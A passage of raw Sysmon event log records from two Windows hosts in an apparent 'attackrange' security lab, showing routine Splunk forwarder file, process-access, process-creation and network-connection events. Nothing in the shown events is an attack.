Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D1ED90E72CE64035A03CBCBA790A1941,SHA256=4AE581A71B6F3792B48BF7E347E5AED21D91E38E6D99ACDA001219572D9DCC8C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014835Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:36.491{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=350568AB3230AF368D1996DB0042F7B2,SHA256=6B1870B2F8D513C7A01D64DD3C24C13657C7789B4EF1337F350E9BD701DBAEB5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014834Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:36.444{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5F153F9600CA77536B43DF9E7DA0F597,SHA256=95797E88AC65BAFFE64122C1F08A6106B31221A9B4544C0945D4711907C34FC3,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014833Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:36.194{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7080-613B-BD04-00000000F101}836C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014832Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:36.194{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014831Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:36.194{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014830Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:36.194{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014829Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:36.194{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014828Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:36.194{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014827Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:36.194{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014826Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:36.194{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014825Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:36.194{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014824Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:36.194{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014823Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:36.194{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-7080-613B-BD04-00000000F101}836C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014822Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:36.194{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7080-613B-BD04-00000000F101}836C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014821Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:36.195{625C326B-7080-613B-BD04-00000000F101}836C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:36.227{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9E7568C1A7C1FA0615F73C803BFBE87D,SHA256=A26CF884D5352C6C020EEB0FE9076F7BB6B65D18350EBF0EA04A0D87E2E1F080,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014837Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:34.568{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50181-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014836Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:37.241{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=751FE0BED60B4F2BF8E57EB5A99610BA,SHA256=1DBDFEE528E6B693DA72E6316C899F1BE43F9A0197B41AD2C0419743C33B0BE2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:37.242{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9B1579C3D63DD652303744FBB664A4BE,SHA256=A2ADAA0C441924C91715B0B370C47384A3C1581892238036791E974729B9FEDD,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:35.447{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59366-false10.0.1.12-8000- 23542300x800000000000000047029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:38.258{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5311A8B63037B81DC6C50FB0BD72162A,SHA256=96D1F17A7EB1F6F2B3C10753D0A4060E9B04A64D74076C5A03363E259CA05EFC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014838Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:38.288{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6A70F854551ECDD8EF5F567F6662AF49,SHA256=3DE1C3923C340F8010EB5E066D7132396B5D0DB95524972F6CF961A3524DC687,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:39.320{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=397DCE1CA03310A2976CFFAFC8CC58EB,SHA256=7D63EDE4E8B2C7ABFC33FD8E569AB3C0AD1FE8E847EDCC50873D0A6EC83F3D62,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014839Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:39.303{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0E150A0959B021E23D58A7C828621030,SHA256=75C94AE68B64FD40A1079E6156416A58BBF16B2899F3E6A31D3254F18121E4A2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:40.399{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7393DCBD7C8917057140412170E3D5C2,SHA256=6327AB7DF34761902AE5DC8F5C6D9F9243447ACAF875E48E6BB6C669A49541E0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014840Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:40.335{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DC2944340FCE45C2E094CAE518FF81E6,SHA256=1A9CCE99134356E12BA9BB25DB83C2640D97294D55FE80F34DF2FD3CDB7EE6C6,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014842Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:40.347{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50182-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014841Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:41.413{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B000272F54E20B8D99E8C1DD30A0C506,SHA256=076E711B451ED602C21C372CEC818E18BED9832BA6DBF607ECC9A91E6212131E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:41.414{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1FCAEA85FACBDAE0965C4884024225BA,SHA256=5D429C1862131C4B773D1035C24D6C0BE01A25FA3CB6745DEE2450CD8D2CFDA1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014843Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:42.428{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A53AD7C240F2B32EAD36884D96214185,SHA256=4B4A617D5B8EE8DBCA37A78D3096D2683F6B39F17A46EF1D5C9495BCEB490741,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:42.430{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0A301367096F84FDA6F91A15E0D741C5,SHA256=D3A777A3C93717AD6780B3026C1E1827DC7FF99B2D3129C9E62932F6C31E03E3,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:41.446{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59367-false10.0.1.12-8000- 23542300x800000000000000047035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:43.445{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=233C2A9E88D85CEB0B2295CB95ACBBF0,SHA256=D73275A2B01ED2E65BB6E40A1DD5DAC7D98075E83E57BDA42CDC82D9B6422A57,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014844Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:43.459{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=10767836AB84A0B0C68DF66DD6C6A750,SHA256=0C7638C894B849C9666629C8523024856AC78C15994E30CD6E2FC3AB09BDCB4E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:44.477{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5DE5C810ACA93A965E43DDFFE2D1408D,SHA256=129CAE47187028D37FDE1319EBB0E120AD3D38B7C32889612C4C60F96E1538FB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014845Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:44.475{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3F4229F2157A6E71AE46071BC9394F4B,SHA256=1F86D35B28E6EC3EA06CB1014C098B8B9531ECFFDAD047942538C5F2A8EE434F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014846Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:45.553{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C1077A8E92ABD8C6FAD5D7ADCC8984BC,SHA256=0ADF42FE600E8D4239C241253DB43F6484DEC54607D51EF960228C91B8C1E1B8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:45.508{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FAE3520188BB36EF85C2F0AB721E4B70,SHA256=3ACFCA1BC62D077E721ECE3D62006C61ACBD261F7B02BA68BDDB3C5EEF09173E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:45.445{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=1D4AF0F64BBF2178BB7B2559E3480A5D,SHA256=71C1964D0D95971A5952CB11FC0111F84FAC9E904A56EFF4ADD65259C8E6D879,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:45.445{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 